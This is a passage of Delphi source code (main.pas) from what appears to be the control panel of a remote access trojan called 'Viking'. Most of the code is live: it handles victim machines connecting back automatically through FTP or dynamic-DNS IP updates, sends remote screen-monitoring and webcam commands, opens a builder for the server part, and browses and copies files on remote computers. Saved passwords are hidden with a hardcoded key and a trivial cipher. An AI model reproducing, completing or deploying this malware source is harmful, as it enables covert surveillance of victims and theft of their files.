📄 main.pas
字号:
Result := False;
try
MyStream:=TMemoryStream.Create;
Cmd:=EncodeBase64(Cmd);
MyStream.Write(Cmd[1],Length(Cmd));
MyStream.Position:=0;
i:=MyStream.size;
AThread.Connection.Write(inttostr(i)+EOL);
AThread.Connection.WriteStream(MyStream);
Result := True;
finally
MyStream.Free;
end;
end;
{从IP地址得到所在地理位置}
function TViking.GetIPtoAdder(Ip: string): string;
begin
Result := '';
try
Result := QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[2] + QQWry.GetIPMsg(QQWry.GetIPRecordID(ip))[3];
except
Result := 'IP地址格式不对!';
if Result = '' then Result := '【未知数据】';
end;
end;
// 自动上线
procedure TViKing.ToolButton1Click(Sender: TObject);
function JieMi(Nr: string): string;
var
Text: PChar;
i: Integer;
begin
Text := Pchar(Nr);
for i := 0 to length(Nr) - 1 do
begin
Text[i] := Chr(Ord(Text[i]) - (i + 1));
end;
Result := Text;
end;
var
ii: string;
begin
try
II := Myinifile.Readstring('FTP', 'AutoSave', '0');
TAddIPThread.Create(false); //设置上线IP
if ii = '0' then begin
UpIpDate.RadioBox1.Checked := false;
end else begin
UpIpDate.FTPAdder.text := Myinifile.Readstring('FTP', 'FTPServer', '');
UpIpDate.FTPPort.text := Myinifile.Readstring('FTP', 'FTPport', '');
UpIpDate.FTPUser.Text := Myinifile.Readstring('FTP', 'FTPUser', '');
UpIpDate.FTPPass1.Text := DeCryptStr(Myinifile.Readstring('FTP', 'Password', ''),'HAIDAO');
UpIpDate.FTPPass2.Text := UpIpDate.FTPPass1.Text;
UpIpDate.IpFileEdit.Text := Myinifile.Readstring('FTP', 'IpFile', '');
UpIpDate.RadioBox1.Checked := True;
end;
II := Myinifile.Readstring('DNSYuming', 'AutoSave', '0');
if ii = '0' then begin
UpIpDate.CheckRadioBox1.Checked := False;
end else begin
UpIpDate.XwEdit.text := Myinifile.Readstring('DNSYuming', 'DNS', '');
UpIpDate.Xwuser.text := Myinifile.Readstring('DNSYuming', 'User', '');
UpIpDate.Xwpass.text := DeCryptStr(Myinifile.Readstring('DNSYuming', 'Password', ''),'HAIDAO');
UpIpDate.CheckRadioBox1.Checked := True;
end;
except
end;
UpIpDate.ShowModal;
end;
//屏幕监视
procedure TViKing.ToolButton2Click(Sender: TObject);
begin
try
if not Computerorserver then
begin
ZhuDongCmdSend('013', '0', True);
ShowPm.jianpanButton.Down := False;
ShowPm.Loadskin1.Checked:=False;
ShowPm.Storedskin1.Checked:=True;
ShowPm.Show;
end;
except
exit;
end;
end;
//远程视频
procedure TViKing.ToolButton3Click(Sender: TObject);
begin
try
if not Computerorserver then
begin
ZhuDongCmdSend('070', '', True); //搜索视频设备
end;
VideoForm.Show;
except
exit;
end;
end;
//配置服务端
procedure TViKing.ToolButton4Click(Sender: TObject);
begin
ConfigServer.ShowModal;
end;
//关于
procedure TViKing.ToolButton5Click(Sender: TObject);
begin
with TAboutForm.Create(Application) do
try
ShowModal;
finally
Free;
end;
end;
//默认界面
procedure TViKing.Storedskin1Click(Sender: TObject);
begin
try
ViKing.Visible := False; //隐藏主窗口
spSkinData1.CompressedStoredSkin := CompressedStoredSkin1;
Myinifile.writestring('Operation', 'SkinFile', '');
ViKing.Visible := True;//显示主窗口
except
ViKing.Visible := True;
end;
end;
//选择界面
procedure TViKing.N55Click(Sender: TObject);
begin
try
OD.Title := Translate('ZhuanTai88','选择皮肤配置文件(Skin.ini)');
OD.Filter := '*.ini|*.ini';
OD.DefaultExt := '*.ini';
OD.InitialDir := ExtractFilePath(ParamStr(0)) + 'skins\';
if OD.Execute then begin
ViKing.Visible := False; //隐藏主窗口
spSkinData1.LoadFromFile(OD.FileName);
Myinifile.writestring('Operation', 'SkinFile', OD.FileName);
ViKing.Visible := True; //显示主窗口
end;
except
ViKing.Visible := True;
end;
end;
//隐藏显示窗口
procedure TViKing.CtrlF121Click(Sender: TObject);
begin
ViKing.Visible := False;
end;
//退出程序
procedure TViKing.N32Click(Sender: TObject);
begin
Close;
end;
//应用改变
procedure TViKing.Button1Click(Sender: TObject);
var
ii: string;
begin
try
II:=Myinifile.Readstring('LocalPort', 'AutoSxport', '800');
if ii<> SportEdit.text then
begin
AutoSxport:=StrtoInt(SportEdit.text);
Myinifile.writestring('LocalPort', 'AutoSxport',SportEdit.text);
try
ServerSocket1.Active :=False;
// IdTCPServer1.Bindings.Clear;
ServerSocket1.Port :=AutoSxport;
ServerSocket1.Active :=True;
except
ZhuanTai.Caption := Translate('ZhuanTai81','修改自动上线端口失败!无法打开端口: ')+inttostr(AutoSxport);
end;
ZhuanTai.Caption := Translate('ZhuanTai82','修改自动上线端口成功!');
end;
Myinifile.writestring('Operation', 'PassWord',EnCryptStr(LjPassword.text,'HAIDAO'));
except
ZhuanTai.Caption := Translate('ZhuanTai83','修改自动上线端口失败!');
end;
end;
{向上按钮}
procedure TViKing.FileToolButton1Click(Sender: TObject);
begin
try
if TreeView1.Selected.AbsoluteIndex <> 0 then
TreeView1.Selected.Parent.Selected := True;
TreeView1.SetFocus;
except
end;
end;
{复制}
procedure TViKing.FileToolButton2Click(Sender: TObject);
var
li: TListItem;
i:integer;
begin
li := ListView1.Selected;
if li = nil then exit;
ZhuanTai.Caption := '';
for i := 0 to ListView1.Items.Count - 1 do
begin
if ListView1.Items[i].Selected then
begin
if (ListView1.Items[i].ImageIndex >= 33) then
begin
FuZhi :=FuZhi + CurDir+ ListView1.Items[i].Caption+EOL;
end;
if (ListView1.Items[i].ImageIndex = 32) then
begin
FuZhi :=FuZhi + CurDir + ListView1.Items[i].Caption+'\'+EOL;
end;
if (ListView1.Items[i].ImageIndex >4) and (ListView1.Items[i].ImageIndex < 28) then
begin
ComputerFuZhi :=ComputerFuZhi + ComputerDir + ListView1.Items[i].Caption+EOL;
end;
if (ListView1.Items[i].ImageIndex = 4) then
begin
ComputerFuZhi :=ComputerFuZhi + ComputerDir + ListView1.Items[i].Caption+'\'+EOL;
end;
end;
end;
end;
{ 转换文件的时间格式 }
function CovFileDate(Fd:_FileTime):TDateTime;
var
Tct:_SystemTime;
Temp:_FileTime;
begin
FileTimeToLocalFileTime(Fd,Temp);
FileTimeToSystemTime(Temp,Tct);
CovFileDate:=SystemTimeToDateTime(Tct);
end;
//文件属性
function GetBmp(FileExt: string): string;
begin
result := '文件';
if (FileExt = '.ra') or (FileExt = '.rm') then begin
result := 'RealAudio / RealVideo';
exit;
end;
if length(FileExt) <> 4 then Exit;
if FileExt = '.exe' then begin
result := '应用程序';
Exit;
end;
if FileExt = '.com' then begin
result := 'MS-DOS 应用程序';
Exit;
end;
if FileExt = '.txt' then begin
result := '文本文档';
exit;
end;
if FileExt = '.bat' then begin
result := 'MS-DOS 批处理文件';
Exit;
end;
if FileExt = '.bmp' then begin
result := 'BMP 图像';
exit;
end;
if FileExt = '.jpg' then begin
result := 'JPEG 图像';
exit;
end;
if FileExt = '.gif' then begin
result := 'GIF 图像';
exit;
end;
if FileExt = '.ini' then begin
result := '配置设置';
exit;
end;
if FileExt = '.inf' then begin
result := '安装信息';
exit;
end;
if FileExt = '.sys' then begin
result := '系统文件';
Exit;
end;
if FileExt = '.dll' then begin
result := '应用程序扩展';
Exit;
end;
if FileExt = '.pnf' then begin
result := '预先汇编的安装信息';
Exit;
end;
if FileExt = '.zip' then begin
result := 'WinRAR ZIP 压缩文件';
exit;
end;
if (FileExt = '.rar') or (FileExt = '.cab')or (FileExt = '.arj') then begin
result := 'WinRAR 压缩文件';
exit;
end;
if FileExt = '.iso' then begin
result := 'ISO 文件';
exit;
end;
if FileExt = '.url' then begin
result := 'Internet 快捷方式';
exit;
end;
if FileExt = '.doc' then begin
result := '写字板文档';
exit;
end;
if FileExt = '.xls' then begin
result := 'XLS 文件';
exit;
end;
if FileExt = '.mdb' then begin
result := 'MDB 文件';
exit;
end;
if FileExt = '.swf' then begin
result := 'Shockwave Flash Object';
exit;
end;
if FileExt = '.fla' then begin
result :='FLA 文件';
exit;
end;
if FileExt = '.htm' then begin
result := 'HTML Document';
exit;
end;
if (FileExt = '.asp') then begin
result := 'ASP 文件';
exit;
end;
if FileExt = '.chm' then begin
result := '已编译的 HTML 帮助文件';
exit;
end;
if FileExt = '.hlp' then begin
result := '帮助文件';
exit;
end;
if FileExt = '.dwg' then begin
result := 'DWG 文件';
exit;
end;
if FileExt = '.wav' then begin
result := 'WAV 音频';
exit;
end;
if FileExt = '.mp3' then begin
result := 'MP3 文件';
exit;
end;
if FileExt = '.mid' then begin
result := 'MIDI 音频';
exit;
end;
if FileExt = '.wma' then begin
result := 'WMA 文件';
exit;
end;
if FileExt = '.avi' then begin
result := 'AVI 视频';
exit;
end;
if FileExt = '.mpg' then begin
result := 'MPEG 视频';
exit;
end;
if FileExt = '.aif' then begin
result := 'AIF 文件';
exit;
end;
if FileExt = '.asf' then begin
result := 'ASF 文件';
exit;
end;
if FileExt = '.m3u' then begin
result := 'M3U 文件';
exit;
end;
if (FileExt = '.reg') then begin
result := '注册表项';
exit;
end;
if (FileExt = '.psd') then begin
result := 'PSD 文件';
end;
end;
//属性
procedure TViKing.N3Click(Sender: TObject);
var
li: TListItem;
i: integer;
mIcon:TIcon;
SR: TSearchRec;
Attributes:word;
const
dtFmt:string = 'YYYY-MM-DD HH:NN:SS';
begin
try
li := ListView1.Selected;
if li = nil then Exit;
if li.ImageIndex < 4 then exit; // 是硬盘退出
if (li.ImageIndex > 27) and (li.ImageIndex < 32) then exit; // 是硬盘退出
mIcon:=TIcon.Create;
ImageList6.GetIcon(li.ImageIndex ,mIcon);
AttribForm.Image1.Picture.Icon.Handle:= mIcon.Handle; //文件图标
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -